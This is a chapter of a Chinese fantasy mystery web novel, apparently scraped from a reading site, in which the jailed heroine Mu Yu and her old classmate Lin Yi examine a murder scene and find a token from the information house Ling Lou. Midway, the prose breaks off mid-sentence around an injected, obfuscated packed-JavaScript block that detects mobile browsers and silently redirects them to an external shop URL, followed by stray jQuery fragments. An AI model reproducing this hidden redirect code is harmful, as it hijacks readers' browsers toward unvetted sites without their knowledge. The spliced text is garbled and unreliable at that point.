文趣网 > 其他小说 > 死遁后对主角始乱终弃 > 5. 灵楼
    说话的青年身形挺拔修长,步伐从容,身上官袍规整得一丝不苟。

    神色褪去平日的沉稳,清清楚楚满是惊诧。

    来者名为林壹,是牧钰年少在天都研学时结识的同窗。

    牢内的牧钰见到林壹,心底骤然涌上意外,眼中难掩几分遇到故人的欣喜。

    牧钰下意识欲聊几句叙叙旧,又想到此刻自己狼狈处境,只得无奈地讪讪一笑:“林大人,别来无恙了。”

    “你...”

    林壹的目光里闪现喜色,也意识到此时不适合叙旧。

    话在嘴边呼之欲出又转了个弯,抬手示意周遭的狱卒尽数走远。

    顷刻之间,喧嚣尽数散去,只剩下林壹一人站在关押牧钰的牢房门外。

    四周静得能听到火焰摇曳发出的微弱响动。

    “当真是惊喜。”

    林壹缓步上前,指尖触碰住栏杆,眉眼间敛去肃穆,更添些许缓和,笑道:“牧少主久违。林某竟未料想他们错将你抓了回来。”

    “错抓?”牧钰一挑眉,戏谑反问林壹,“林大人又怎知我不是凶手呢?”

    闻言,林壹笑笑,语气笃定又带着些许的真诚:“牧少主素来是出了名的心性坦荡、刚正不阿。”

    “当初被责罚也要站出来维护公道的人,连兄长都对你信任有加。若是我连这点识人眼力都没有,着实要愧对这身官服和职位了。”

    牧钰笑笑:“都多久前的事情了。”

    “虽千万人吾往矣,这份魄力纵观世间亦是罕有的,牧少主实在过谦了。”

    说着说着,林壹轻叹,语气添上些怅然:“昔日天都一别之后,我已许久不曾听闻你半分音讯,再闻之时,已是你遭遇不测...”

    林壹讲到凶险之处点到为止,不愿再提及令彼此都揪心的往事。

    话锋一转,眉眼间染上浅淡的暖意,道:“未想如今能在此处重逢,也算难得的他乡遇故知了。”

    牧钰被林壹这番形容逗得忍不住低声笑出来,随意揉了揉发酸的手腕,胳膊上被手铐勒得淤青露了出来。

    她慵懒地伸了个懒腰,道了句:“我运气向来是糟得很,遇到何事都祸不单行。能在这里遇到你,看来运气也不算坏到底。”

    林壹见牧钰哪怕被关进牢里依旧乐观,不禁佩服。

    目光瞥见她衣摆那片褐色的血迹上,眸色一沉,神情郑重起来,将前因后果细细道出:

    “昨夜守城军收到一封匿名密信,无人知晓来路,凭空出现在府衙公文案前,信上无署名,我们反复探查,寻不到丝毫的灵力气息。”

    说到此处,林壹眉头轻轻蹙起,言语间多了几分悬案难解的凝重:“信中言辞强硬,内容颇为古怪,道出来了时间和地点,并且勒令我们准时到场,分毫不得延误。”

    “只是,还未等我们检查信纸,那封信却先一步自燃了,半点痕迹都没有留下,便无从查找来源。”

    林壹道:“事态紧迫,周烈他们仓促准备便带人赶赴现场,刚进院落便恰好撞见了你,又发现一具尸首,这才把你押送回来关押。”

    牧钰静静听完,已然理清大半头绪,心头微动,开口分析:“那处庭院大门留有明显的术法结界痕迹,能布下这般结界,施法之人修为定然不低。”

    “连你们都探查不到信件上的灵力,足以见得施法者心思缜密,多半会抹除掉一切暴露身份的可能性,哪怕再怎么从结界下手照样难有收获。”

    林壹虚心问道:“那当从何查起?”

    “越是如此,越要在不起眼的地方找到违和的地方。”

    牧钰说着说着,稍作停顿,低头时,她嗅到袖口沾染上的血腥味,像是想到什么一般,低声道:“我当时在死者身旁寻找破除结界的法子,闻到了一股若有若无的香气,格外的淡,倘若是你们赶到再进行搜查,绝对难以发觉。”

    “香气?”林壹神色瞬间严肃,指尖下意识摩挲着腰间的令牌,追问道,“类似市井间贩卖的香囊散发出来的味道吗?”

    “不是,是一股哪怕很淡的味道,依旧让人觉得格外不适的呛鼻廉价熏香味,”

    牧钰低声默念,似在思索更多线索:“我总觉得在哪里闻到过,但怎么都想不起来...”

    林壹顺着牧钰的思路捋顺脉络:“你方才说,撞到凶案时...”

    “对!撞到!”牧钰眼神骤然一亮:“在酒楼!”

    林壹顿时被牧钰跳脱的话弄得一头雾水,道:“什么?”

    “在醉仙居里。”牧钰详细解释道,“昨夜我在途径醉仙居,在二楼的雅间无意撞到一名女子,她身上味道和尸首旁的很像。”

    牧钰仔细回忆起当时的细节,窗沿上的泥土、女子戴着的帷帽:“那女子右眉眼下有一块胎记,屋里昏暗,窗户还敞开的,沿边还有泥,当时我只顾着离开,现在想起来,似乎她当时也是才翻窗进来的。”

    林壹将这条至关重要的线索暗自记下,颔首道:“此等特征极好辨别,我即刻派人暗中进行全城排查,定能寻到此人行踪。”

    牧钰似有意无意地叹了口气:“如若能重返凶案现场,再仔细检查一下尸首,或许我还能寻到更多的线索。”

    牧钰顿了下,佯装无意道:“可如今我嫌疑在身,被关在牢房里,一举一动皆受制于人。”

    说完,她无奈一笑:“怕是百般辩解都无济于事。”

    林壹略一沉思,快速权衡起当前局势,片刻之后心中有了应对之法。

    他微微颔首:“眼下首要之事,便是找出真凶,早日为你洗清冤屈。重返现场查验一事便交由我来周旋打点,为你争取三日时限,协助我们一同办案。”

    调用嫌犯协助查案之事,虽不符常规,但以林壹的职权,倒真的能周旋几日。

    牧钰松了口气:“那此番便有劳林大人相助了。”

    林壹办事利索,不过半日,牧钰便随着两个看守走出大牢。

    牧钰眯了眯眼,抬手挡住刺眼的光线,林壹在门外接应,顺手递给她一件干净的外袍:“牧少主先将就一下,你身上的这件走在街上着实有些扎眼。”

    “多谢!”牧钰接过外袍,利索地往身上一套,别了别衣角将血迹遮住,“事不宜迟,林大人先带我去现场吧。”

    “现场我已派人守着,不会有外来人动过。”林壹引路,简单叙述了一下新发现,“尸首被烧得面目全非,完全看不出来是谁,时间紧,还未来得及细致搜寻。”

    “对了牧少主,还有一件事,当时抓你进牢的领头人名叫周烈,”林壹无奈地笑了下,“他这人没什么坏心眼,空有正气,行事实在固执,若有冒犯之处,还请你多多海涵。”

    正义的呆子么?牧钰暗道,面露笑意:“无妨。”

    那座破落的院子白日少

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788466|210269||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了夜里的阴森,多了些许的萧条。

    院外站着一个高大的身影正在和看守院子的护卫说着什么,见到林壹他们走来,才不情不愿地转过身偏头拱手作了个揖。

    牧钰认出了此人便是当时把她抓进去的领头,又想起当时自己的装疯卖傻和林壹的交代,面露尴尬。

    不知要说些什么,只能朝其稍稍一颔首,未成想对方压根不搭茬她。

    成,有朝一日,她还能单方面被孤立了。牧钰收回目光,不再自讨没趣。

    “周大人。”林壹微笑解围道,“这里暂且交于我们吧。”

    闻言,周烈像是有了发泄口般,不忿道:“既然是林大人亲自保的人,那便罢了。只是您莫要忘记,您这位旧友还是戴罪之身,三日之期,是再押进大牢,还是另有其人,另作处置,总要给个说法。”

    牧钰此刻才算直观地感受到了什么是林壹口中的‘空有正气,行事固执’。

    度过插曲,二人走进屋里。

    尸首躺在地上,果真如同林壹所言那般,早已烧的面目全非。

    牧钰望向尸首,不由道了句:“这要多大的仇呢?”

    林壹不是很理解:“牧少主此话何意?凶手纵火烧毁尸首很可能只是为了毁尸灭迹。”

    “你看,”牧钰说着,伸手指向地上的血迹,“这血的痕迹有深有浅,很明显凶手作案时未一击致命,反而让死者挣扎着挪动了一段距离,并且...”

    她顿了下,目光顺着血迹的方向缓缓移动:“人将死之际求生欲极度强烈,而凶手就眼睁睁看着他挪到门口,再次把人拽回来。反反复复,直至对方失血过度,晕厥。没准火都不一定是死后烧的。”

    林壹被这一具体的过程形容得鸡皮疙瘩泛起,倒吸口凉气:“这么说来,那封有预谋的信莫非也是凶手计划中的一环?”

    牧钰蹲下身,隔着自己的袖子伸出手,掀开烧得焦黑的外袍,衣襟下面,指尖触到一片薄而硬的东西。

    牧钰掏出来一看,是一枚很小的玉牌,上面的字已然模糊。

    世家大族的花纹她向来是记不清的,翻来覆去看了良久,全然没有头绪。

    她递到林壹面前:“这是谁家的?”

    林壹接过一瞧,眉头渐紧:“这纹路...不像世家大族专用的令牌,像是灵楼的通行牌。”

    “灵楼?”听到这熟悉的名字,牧钰顿时忍俊不禁,语气里半是追忆,半是调侃,“我倒是第一次见到他们家的通行牌呢。”

    想到当年她和云风遥他们去灵楼从不走正门,更别提通行牌了。

    林壹不知牧钰所想,只以为她不了解灵楼,解释道:“灵楼是天都有名的乐曲楼,也是贩卖情报的地方,有两个特点。”

    “第一,世间鲜少有他们不知晓之事。第二,不收晶石,只收他们觉得等价的东西。”

    “这通行牌便是获取情报的客人和寻常客人区分的标识。”

    林壹又道:“不过听闻灵楼的幕后老板是个行事极为古怪的人,也不知道能不能寻到线索。”

    牧钰听到林壹的话,思绪逐渐飘远,脑海里响起云风遥当年的声音,‘我倒没见过她这么刁钻的人。阿姐,她既不让我们从正门进,那我们便不走门进去,气死她。’

    她像是想到那段经历的有趣来,忍不住垂眸浅笑了下,也不知究竟是在回应谁:“那就更要去瞧瞧了。”